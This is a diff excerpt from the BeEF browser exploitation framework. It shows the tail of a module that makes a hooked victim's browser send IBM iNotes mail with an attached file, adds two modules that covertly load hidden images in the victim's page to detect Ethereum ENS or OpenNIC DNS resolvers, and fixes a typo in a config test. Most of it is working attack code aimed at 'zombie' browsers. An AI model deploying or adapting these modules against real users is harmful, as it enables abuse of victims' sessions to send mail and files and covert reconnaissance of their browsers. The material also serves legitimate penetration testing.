post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
post_data += "\r\n";
post_data += "[[./&Form=l_CallListener]]\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
post_data += "\r\n";
post_data += "h_ShimmerSendMail\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
post_data += "\r\n";
post_data += to + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
post_data += "\r\n";
post_data += body + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
post_data += "\r\n";
post_data += "Memo\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
post_data += "\r\n";
post_data += "0\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
post_data += "\r\n";
post_data += subject + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
post_data += "\r\n";
post_data += filedata + "\r\n";
post_data += boundary + "--";
xhr.sendAsBinary(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
} catch(e) {
beef.debug("Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);
}
});
@@ -16,7 +16,7 @@
class Send_inotes_with_attachment < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {
return "Img already created";
}
var img = new Image();
img.setAttribute("style", "visibility:hidden");
img.setAttribute("width", "0");
img.setAttribute("height", "0");
img.src = '<%= @ethereum_ens_resource %>';
img.id = 'ethereum_ens_img_<%= @command_id %>';
img.setAttribute("attr", "start");
img.onerror = function() {
this.setAttribute("attr", "error");
};
img.onload = function() {
this.setAttribute("attr", "load");
};
document.body.appendChild(img);
setTimeout(function() {
var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');
if (img.getAttribute("attr") == "error") {
beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');
} else if (img.getAttribute("attr") == "load") {
beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');
} else if (img.getAttribute("attr") == "start") {
beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
};
document.body.removeChild(img);
}, <%= @timeout %>);
});
@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_ethereum_ens:
enable: true
category: "Network"
name: "Detect Ethereum ENS"
description: "This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page."
authors: ["wade", "pdp", "bm", "xntrik", "bcoles"]
target:
working: ["ALL"]
@@ -0,0 +1,23 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_ethereum_ens < BeEF::Core::Command
def self.options
[
{ 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' },
# Alternatives:
# http://esteroids.eth/favicon.ico
# http://api3.eth/api3-logo-white.svg
# http://api3.eth/favicon.ico
{ 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' }
]
end
def post_execute
return if @datastore['result'].nil?
save({ 'result' => @datastore['result'] })
end
end
+43
View File
@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
if (document.getElementById('opennic_img_<%= @command_id %>')) {
return "Img already created";
}
var img = new Image();
img.setAttribute("style", "visibility:hidden");
img.setAttribute("width", "0");
img.setAttribute("height", "0");
img.src = '<%= @opennic_resource %>';
img.id = 'opennic_img_<%= @command_id %>';
img.setAttribute("attr", "start");
img.onerror = function() {
this.setAttribute("attr", "error");
};
img.onload = function() {
this.setAttribute("attr", "load");
};
document.body.appendChild(img);
setTimeout(function() {
var img = document.getElementById('opennic_img_<%= @command_id %>');
if (img.getAttribute("attr") == "error") {
beef.debug('[Detect OpenNIC] Browser is not resolving OpenNIC domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving OpenNIC domains.');
} else if (img.getAttribute("attr") == "load") {
beef.debug('[Detect OpenNIC] Browser is resolving OpenNIC domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving OpenNIC domains.');
} else if (img.getAttribute("attr") == "start") {
beef.debug('[Detect OpenNIC] Timed out. Cannot determine if browser is resolving OpenNIC domains.');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving OpenNIC domains.');
};
document.body.removeChild(img);
}, <%= @timeout %>);
});
@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_opennic:
enable: true
category: "Network"
name: "Detect OpenNIC DNS"
description: "This module will detect if the zombie is currently using OpenNIC DNS resolvers.</br><br/>Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page."
authors: ["wade", "pdp", "bm", "xntrik", "bcoles"]
target:
working: ["ALL"]
+19
View File
@@ -0,0 +1,19 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_opennic < BeEF::Core::Command
def self.options
[
{ 'name' => 'opennic_resource', 'ui_label' => 'What OpenNIC image resource to request', 'value' => 'http://be.libre/lang/flag/us.png' },
{ 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' }
]
end
def post_execute
return if @datastore['result'].nil?
save({ 'result' => @datastore['result'] })
end
end
+1 -1
View File
@@ -243,7 +243,7 @@ RSpec.describe 'BeEF Configuration' do
@config_instance.set('beef.http.public.https', false)
@config_instance.set('beef.http.public.host', nil)
@config_instance.set('beef.http.public.port', nil)
@config_instance.set('beeg.http.hook_file', '/hook.js')
@config_instance.set('beef.http.hook_file', '/hook.js')
expect(@config_instance.get('beef.http.host')).to eq('localhost')
expect(@config_instance.get('beef.http.port')).to eq(nil)
expect(@config_instance.get('beef.http.https.enable')).to eq(true)